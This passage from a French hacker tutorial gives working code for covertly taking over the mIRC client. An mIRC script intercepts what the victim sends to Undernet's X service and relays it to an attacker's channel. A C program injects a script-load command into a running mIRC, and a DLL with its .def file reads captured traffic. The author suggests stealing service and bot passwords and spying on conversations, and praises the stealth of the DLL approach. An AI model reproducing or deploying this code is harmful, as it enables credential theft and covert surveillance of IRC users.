par mIRC une fois tous les traitements faits. Aussi tôt que le script intercept des données qu'il recherche, toutes les données que le client envoie à 'X' ou à 'X@channels.undernet.org', et les copy sur un canal spécifique sur notre serveur IRC. ==------------------------- virii.mrc ------------------------==
; fonction callback ; /help /debug pour plus d'information alias roguedbg { /.tokenize 32 $1- if ($0 >= 4) { if (($1 == ->) && (($4 == x) || ($4 == x@channels.undernet.org))) { /.roguesend PRIVMSG #virii $+(:,$2-) } } return } ; fonction rogueconnect alias -l rogueconnect { ; vérifie si on est déjà connecté... if ($sock(roguesocket).mark) return ; sinon est-ce que la victime est connectée sur notre serveur? if ($network == undernet) return if ($server iswm *.undernet.org) return ; non? Alors, on se connect... /.sockopen roguesocket us.undernet.org 6667 /.sockmark roguesocket connecting } ; fonction roguesend alias -l roguesend { ; est-ce que nous avons des données à envoyé? if (!$1-) return ; oui? est-ce que le client est sur notre serveur? if ($network == undernet) { /.raw $1- | return } if ($server iswm *.undernet.org) { /.raw $1- | return } ; non? est-ce que notre socket est ouvert? if (!$sock(roguesocket).mark) return ; oui? ok on envoi les données... /.sockwrite -tn roguesocket $1- } ; fonction rogueparseircd ; attend le MOTD pour confirmer la connexion au serveur ; répond au PING du serveur alias -l rogueparseircd { ;vérifie pour 'RPL_ENDOFMOTD' (376) ou 'ERR_NOMOTD' (422) if (($2 == 376) || ($2 == 422)) /.sockmark roguesocket connected ;vérifie pour PING if ($1 == PING) /.roguesend PONG $2 } ; pour chaque connexion à un serveur on *:connect:{ ; si notre fenêtre personnalisée est présente, nous la créeons if (!$window(@debug).title) /.window -Bhk0n @debug ; on l'appel pour être sur qu'à chaque connexion client nous avons notre ; connexion à notre serveur rogue /.rogueconnect ; on lance la capture des données /.debug -i @debug roguedbg } on *:sockopen:roguesocket:{ ; vérifie que la connexion n'a pas échoué if ($sockerr > 0) return ; ; Random 'nickname' ; var %i = 1 var %nicktmp while (%i <= 9) { if ($calc(%i % 2) = 0) %nicktmp = $+(%nicktmp,$chr($rand($asc(0),$asc(9)))) else %nicktmp = $+(%nicktmp,$chr($rand($asc(a),$asc(Z)))) inc %i } /.sockwrite -tn $sockname NICK %nicktmp ; ; Random 'user' et 'fullname' + invisible (8) ; %i = 1 var %identtmp while (%i <= 9) { %identtmp = $+(%identtmp,$chr($rand($asc(a),$asc(z)))) inc %i } /.sockwrite -tn $sockname USER %identtmp 8 * $+(:,%identtmp) } on *:sockread:roguesocket:{ if ($sockerr > 0) return :nextread sockread %temp if ($sockbr == 0) return if (%temp != $null) { /.rogueparseircd %temp } goto nextread }
Vous devez placer le fichier virii.mrc dans la racine de votre disque C pour que le programme suivant fonction. Si vous le placez ailleurs, vous devez changer le chemin d'accès dans le code ci-dessous. -------------------------- test4.cpp ------------------------
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <tchar.h> // Generic-Text Mappings #define MAX_CNAME_SIZE 512 #define MAX_FILEMAPPING_SIZE_LOW 1024 TCHAR g_tcsClassName[] = _T("mIRC"); BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam); int main() { EnumWindows(&ewcallback,(LPARAM)g_tcsClassName); return 0; } BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam) { TCHAR tscCName[MAX_CNAME_SIZE]; TCHAR tscMsg[] = _T("/.load -rs c:\\virii.mrc"); HANDLE hFile; LPVOID lpBaseAddress; GetClassName(hwnd, tscCName,MAX_CNAME_SIZE); if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) { hFile = CreateFileMapping( INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, MAX_FILEMAPPING_SIZE_LOW, tscCName ); if ( hFile ) { lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0); if (lpBaseAddress) { // On copy notre chaine dans le fichier... CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg)); // On avertit mIRC qu'il y a des données dans le fichier SendMessage(hwnd,WM_USER+200,1,0); // unmap la view UnmapViewOfFile(lpBaseAddress); } CloseHandle(hFile); } } return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue // l'énumération des fenêtres. }
Très simple n'est-ce pas ? Je vous pris de tenir compte que ce script n'est pas 'foolproof' et que plusieurs améliorations peuvent et doivent être apporté. Mais je crois qu'il couvre bien l'idée générale. Bon, ce n'est pas très furtif comme méthode puisque la victime peut s'apercevoir qu'un script a été chargé et qu'une fenêtre a été créée. Un autre truc très intéressant que nous propose mIRC c'est la possibilité de charger des DLLs. Ceci nous donne une plus grande flexibilité et beaucoup plus de 'puissance'. Pour charger une DLL en mémoire, il faut que nous appelions une des fonctions contenues dans la DLL en question. Pour ce faire, il existe trois (3) commandes sous mIRC que l'on peut utiliser: /dll <filename> <procname> [data] $dll(filename,procname,data) $dllcall(filename,alias,procname,data) Les commandes ci-dessus ouvrent la DLL, appel la routine 'procname', et lui envoie les données spécifiées. '$dll()' peut retourner un valeur, comme n'importe quels identifiants. '$dllcall()' est multi-threaded donc il n'arrêtera pas l'exécution du script et va appeler l'alias spécifié aussitôt que la routine retourne. Les routines de la DLL qui seront appelées par mIRC doivent avoir le format suivant: int __stdcall procname( HWND mWnd, // le handle de la fenêtre principale de mIRC HWND aWnd, // le handle de la fenêtre dans laquelle la commande est // utilisé, il se peut que se ne soit la fenêtre // présentement active si la commande est exécutée par un // 'remote script'. char *data, // l'information que l'on souhaite envoyer à la DLL. // au retour, la DLL peut remplir cette variable avec // la commande qu'elle souhaite que mIRC exécute, si // désiré. char *parms, // paramètre de la commande, se trouvant dans 'data', que // l'on souhaite exécuté. BOOL show, // est FAUX si le préfix '.' était spécifié, sinon VRAI BOOL nopause // VRAI si mIRC est dans un routine critique et que la // DLL ne doit pas suspendre l'exécution de mIRC, ex: // la DLL de doit pas montrer un fenêtre de dialogue. ); NOTE: 'data' et 'parms' peuvent contenir chacun 900 caractères maximum. La DLL peut retourner un entier pour indiquer ce qu'elle veut que mIRC fasse: 0 - mIRC devrait arrêter (/halt) l'exécution 1 - mIRC devrait continuer l'exécution 2 - une commande est présente dans le champs 'data' que mIRC devrait exécuter et les paramètres, si présents, se trouve dans 'parms'. 3 - les données que l'identifiant '$dll()' devrait retourner. Par défaut, mIRC décharge la DLL une fois l'appel de la routine se termine. On peut donc spécifier à mIRC de garder la DLL chargé en mémoire en incluant un routine 'LoadDll() dans notre DLL, qui sera appelé par mIRC la première fois que mIRc chargera cette dernière. void __stdcall (*LoadDll)(LOADINFO*); typedef struct { DWORD mVersion; // version de mIRC dans le 'low' et 'high' mots // (words) HWND mHnd; // handle de la fenêtre principale de mIRC BOOL mKeep; // VRAI, par défaut, pour que mIRC garde la DLL chargé // après chaque appel. Mettre à FAUX si l'on veut que // mIRC la décharge après chaque appel // (fonctionnalité originale de mIRC). } LOADINFO; mIRC va automatiquement décharger toute DLL qui n'est pas utilisée depuis au moins 10 minutes, ou quand mIRC quittera. Nous pouvons définir une routine, 'UnloadDll()', qui sera appelé par mIRC avant de décharger la DLL pour que cette dernière puisse quitter proprement. int __stdcall (*UnloadDll)(int mTimeout); 'mTimeout' peut contenir les valeurs suivantes: 0 - UnloadDll() est appelé parce que la DLL est sur le point d'être déchargé dû à la commande '/dll -u' ou parce que mIRC est en court de fermeture. 1 - UnloadDll() est appelé parce que la DLL n'a pas été utilisée depuis au moins 10 minutes. La routine 'UnloadDll()' peut retourner zéro (0) pour garder la DLL chargé, ou un (1) pour permettre le déchargement de cette dernière. Il ne nous reste plus qu'à envoyer à mIRC les commandes suivantes: /.debug "C:\capture.log" /.dll "C:\virii.dll" initDll "C:\capture.log" Premièrement, nous disons à mIRC de capturer toute activité entrant ou sortant du client dans le fichier 'C:\capture.log'. Puis on lui demande de charger en mémoire la DLL 'virii.dll' et d'exécuter la fonction initDll qui se trouve à l'intérieur avec comme paramètre le nom du fichier de capture. Voici le code de la DLL en question: =------------------------- virii.c -----------------------=
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <tchar.h> // Generic-Text Mappings #define STRSAFE_NO_DEPRECATE #include <strsafe.h> // safer C library string routine ///////////////// // Defines // #define IDT_PARSEDATA 31337 ///////////////// // Variables // BOOL bInit = FALSE; // est-ce que la Dll a déjà été initialisée HWND hmIRC; // handle fenêtre principal mIRC UINT uTResult = 0; // SetTimer's return value TCHAR tscFileName[MAX_PATH]; // fichier de capture OVERLAPPED olstruct; // contien l'offset courant TCHAR *ptcsData; // buffer des données lu du fichier DWORD dwDataSize; // dimension du buffer des données ///////////////// // Structures // typedef struct { DWORD mVersion; // version de mIRC dans le 'low' et 'high' mots // (words) HWND mHnd; // handle de la fenêtre principale de mIRC BOOL mKeep; // VRAI, par défaut, pour que mIRC garde la DLL chargé // après chaque appel. Mettre à FAUX si l'on veut que // mIRC la décharge après chaque appel // (fonctionnalité originale de mIRC). } LOADINFO; ///////////////// // Fonctions // int WINAPI initDll(HWND,HWND,char*,char*,BOOL,BOOL); VOID CALLBACK ParseFile(HWND,UINT,UINT,DWORD); LPVOID VirtualReAlloc(LPVOID,SIZE_T); TCHAR *ltcschr(const TCHAR*,TCHAR); TCHAR *litotcs(int,TCHAR*); void DebugError(LPTSTR); ///////////////// // Da code // void WINAPI LoadDll(LOADINFO* linfo) { // copie le handle de la fenêtre principale de mIRC hmIRC = linfo->mHnd; } int WINAPI UnloadDll(int timeout) { // si mIRC est en court de fermeture OU que 'dll -u' à été applé if (!timeout) { // ... on arrête le timer if (uTResult) KillTimer(hmIRC, IDT_PARSEDATA); // ... on libère l'espace mémoire alloué if (ptcsData) VirtualFree(ptcsData,0,MEM_RELEASE); } return 0; } // notre fonction qui sera appelée via la commande 'dll' pour chargé la dll en // mémoire, initialiser les données et exécuter le timer int WINAPI initDll( HWND mWnd, HWND aWnd, char *data, char* parms, BOOL show, BOOL nopause) { int ilen; if (!bInit) { // initialisation var global hmIRC = (HANDLE)NULL; ZeroMemory((PVOID)&olstruct, sizeof(olstruct)); ptcsData = (TCHAR*)NULL; dwDataSize = 0; // copie le nom du fichier de capture ilen = lstrlen(_T(data))+1; lstrcpyn(tscFileName, _T(data), min(ilen,MAX_PATH)); bInit = TRUE; uTResult = SetTimer(hmIRC, // handle fenêtre principale mIRC IDT_PARSEDATA, // timer identifier 120000, // 120-second interval (TIMERPROC) ParseFile); // timer callback } // mIRC doit continuer son exécution normalement return 1; } // fonction callback que le timer va exécuté tout les X millisecondes VOID CALLBACK ParseFile( HWND hwnd, // handle to window for timer messages UINT message, // WM_TIMER message UINT idTimer, // timer identifier DWORD dwTime) // current system time { HANDLE hFile; TCHAR tcsBuffer[1025]; DWORD nbBytesRead; TCHAR *ptcsCLoc, *ptcsDataTemp; DWORD dwPos = 0; // ouverture du fichier hFile = CreateFile(tscFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_RANDOM_ACCESS, NULL); if (hFile == INVALID_HANDLE_VALUE) { DebugError("CreateFile()"); return; } while (TRUE) { // initialise le buffer temporaire à zero ZeroMemory(tcsBuffer,1025); // lis un certains nombre de données dans le fichier ReadFile(hFile,tcsBuffer,1024,&nbBytesRead,&olstruct); if (!nbBytesRead) { DebugError("ReadFile()"); break; // EOF } // alloue ou réalloue la mémoire du buffer qui garde les données // entre chaque lecture if (!ptcsData) ptcsDataTemp = (TCHAR*)VirtualAlloc((LPVOID)NULL, nbBytesRead, MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE); else ptcsDataTemp = (TCHAR*)VirtualReAlloc((LPVOID)ptcsData, dwDataSize+nbBytesRead); if (!ptcsDataTemp) break; // VirtualAlloc() ou VirtualReAlloc() à échoué ptcsData = ptcsDataTemp; // copie les données du buffer temporaire au buffer global CopyMemory(ptcsData+dwDataSize,tcsBuffer,nbBytesRead); // mise à jour de la dimension du buffer global dwDataSize += nbBytesRead; // garde l'offset courant en mémoire pour la prochaine lecture olstruct.Offset += nbBytesRead; } // pour chaque ligne (chaine délimitée par le caractère 'Newline') while (ptcsCLoc = ltcschr(ptcsData,_T('\n'))) { // calcule la longueur de la chaîne dwPos = (DWORD)(ptcsCLoc - ptcsData); // affiche la chaîne if (SUCCEEDED(StringCchCopyN(tcsBuffer,1024,ptcsData,dwPos))) { MessageBox(hmIRC,tcsBuffer,_T("moo"),MB_OK); } // déplace le reste des données au début du buffer MoveMemory(ptcsData,ptcsCLoc,dwDataSize-dwPos); // redimensionne le buffer ptcsDataTemp = (TCHAR*)VirtualReAlloc(ptcsData,dwDataSize-dwPos); // si VirtualReAlloc() réussie if (ptcsDataTemp) { // ... on garde la nouvelle adresse du buffer ptcsData = ptcsDataTemp; // .. on met à jour sa taille dwDataSize -= dwPos; } // sinon else // on met à zéro la fin du buffer ZeroMemory(ptcsData+(dwDataSize-dwPos), dwPos); } // on ferme le fichier CloseHandle(hFile); } // Comme j'utilise VirtualAlloc pour alloué de l'espace mémoire et que il ne // semble pas existé de fonction pour redimensionner de la mémoire dans la // famille des Virtual*, j'ai du en faire une moi-même. // // NOTE: // Cette fonction n'est pas très optimisée, et je crois qu'il y a un moyen de // gardé la même adresse de base mais je ne me suis pas vraiment arrêté la // dessus. LPVOID VirtualReAlloc( LPVOID lpAddress, SIZE_T dwSize) { LPVOID lpNewAddress; MEMORY_BASIC_INFORMATION mbi; lpNewAddress = (LPVOID)NULL; if (!lpAddress || dwSize <= 0) { return (LPVOID)NULL; } if (VirtualQuery(lpAddress,&mbi,sizeof(mbi)) < sizeof(mbi)) { return (LPVOID)NULL; } if (!(lpNewAddress = VirtualAlloc((LPVOID)NULL, dwSize,mbi.State,mbi.AllocationProtect))) { return (LPVOID)NULL; } CopyMemory(lpNewAddress,lpAddress,min(mbi.RegionSize,dwSize)); VirtualFree(lpAddress,0,MEM_RELEASE); return lpNewAddress; } // mon équivalent de strchr() mais pour les TCHAR* TCHAR *ltcschr(const TCHAR *string,TCHAR c) { TCHAR *tcsPos; if (!string) return (TCHAR*)NULL; tcsPos = (TCHAR*)string; while (tcsPos && *(tcsPos = CharNext(tcsPos))) { if (tcsPos[0] == c) return tcsPos; } return (TCHAR*)NULL; } // fonction très LAME et très NON optimisé qui émule une partie de la // fonctionnalité de itoa() mais pour les TCHAR* TCHAR *litotcs(int value,TCHAR *buffer) { TCHAR tcsNumeric[] = _T("0123456789"); // tableau de conversion TCHAR c; int i, j = 0; // si le buffer est non valide if (!buffer) return (TCHAR*)NULL; // si le nombre est négatif, rajouter le signe '-' devant le nombre if (value < 0) { buffer[j] = _T('-'); ++j; } // BIG MESS que je veux pas expliquer, mais 'long story short' la boucle // 'do while' traduit le nombre en chaine, mais produit l'effet miroir. // Donc si mon nombre est: // 1234 // cette bloucle la traduit comme suit: // 4321 // La dernière boucle, 'while', règle se problème en remettant les nombres // le bon ordre. do { i = value % 10; buffer[j] = tcsNumeric[i]; value /= 10; ++j; } while (value); buffer[j] = 0; --j; i = 0; while (j >=0 && j > i) { c = buffer[j]; buffer[j] = buffer[i]; buffer[i] = c; --j; ++i; } // retourne l'adresse du buffer return buffer; } // fonction qui explique ce qui à mal tourné si la DLL est compilée // en mode DEBUG void DebugError(LPTSTR lpszFunction) { #if defined(_DEBUG) LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40) *sizeof(TCHAR)); wsprintf((LPTSTR)lpDisplayBuf, TEXT("%s failed with error %d: %s"), lpszFunction, dw, lpMsgBuf); MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); #endif }
La DLL 'virii.dll' fait très peu de chose, mais vous montre un peu le ce que vous pouvez faire. Elle commence par initialiser quelque variable et ensuite lance un 'timer' qui va exécuter une fonction callback, ici 'ParseData', toutes les 120 secondes. 'ParseData' ouvre le fichier passé en paramètre plutôt et lis le contenu qui s?y trouve. Elle garde en mémoire l'offset pour ne pas relire les mêmes données. Puis elle les conserve dans un buffer ('ptcsData'). Ensuite elle tente de trouver des chaines qui se terminent avec le caractère 'Newline'. Pour chaque ligne trouvée, elle les affiche dans un MessageBox. Lorsque mIRC décharge la DLL, elle s'assure de libérer les espaces mémoire qu'elle à alloué. OMG! J'allais presque oublier. Vous devrez surement créer un fichier .def sinon mIRC ne trouvera pas les fonctions que vous voudrez exécuter. mIRC s'attend à avoir des fonctions suivant la convention __stdcall*, mais par défaut Visual Studio utilise la convention __cdecl*. Donc vous nom de fonction vont être à la compilation. Prenons la fonction 'initDll', après compilation elle se nommera '_initDll@24'. Le fichier .def vous permet de créer des alias. On pourra donc créer un alias 'initDll' pour la fonction '_initDll@24'. Règle générale, le nombre apres le '@' c'est simplement le nombre de paramètres que prend votre fonction, multipliée par 4. 'initDll' prend 6 paramètres, donc 6*4 = 24. 'UnloadDll' et LoadDll' prennent un seul paramètre, donc 1*4 = 4. Voici le .def si vous en avez besoin. //=--------------------- virii.def -----------------------= LIBRARY virii EXPORTS LoadDll = _LoadDll@4 UnloadDll = _UnloadDll@4 initDll = _initDll@24 //=-------------------------------------------------------= La DLL est très non pratique, mais avec quelques modifications, vous pouvez la faire se connecter sur un serveur quelconque et transmettre les données que vous jugez intéressantes. Vous pouvez regarder pour des password utilisés auprès des services de certains serveur IRC (x pour undernet) ou pour des passwords de bots. Vous pouvez espionner des conversations sur des canaux en particulier, etc. Les idées de manque pas. Les avantages d'utiliser une DLL est d'abord et avant tout le contrôle qu'elle nous donne. Ensuite la vitesse de traitement; vous pouvez donc effectuer plus de manipulation que la victime ressente un ralentissement au niveau du programme. Et bien sûr, c'est beaucoup plus furtif. Si on compare avec l'exemple précédent (le script), la victime peut s'apercevoir que quelque chose ne tourne pas rond via l'éditeur de script, le menu fenêtre, via les identifiants $script et $window. Pour la DLL, seul l'identifiant $dll peut révéler notre présence. 6. Conclusion Enjoy! _____ ________ ________ ______ ____ __ __ _ /____/ / // // /\ \\ \\ \ \ \ \\ \ ___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \ | | | / / \ | | | | / /\ \ __|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _ __\\________\\______\\__\\____________//__//_/ /_/ // / |\\ | | | | | / / \ \ | \\| | \___/ | / / /\ \ \ | \ \ / / / / \ \ \ \ | \_______/ / / / /\ \ \ \ __|\\ |______________/ /___/ / \ \___\ \____ ___ __ _ | \\| / / \ \ |__\. /\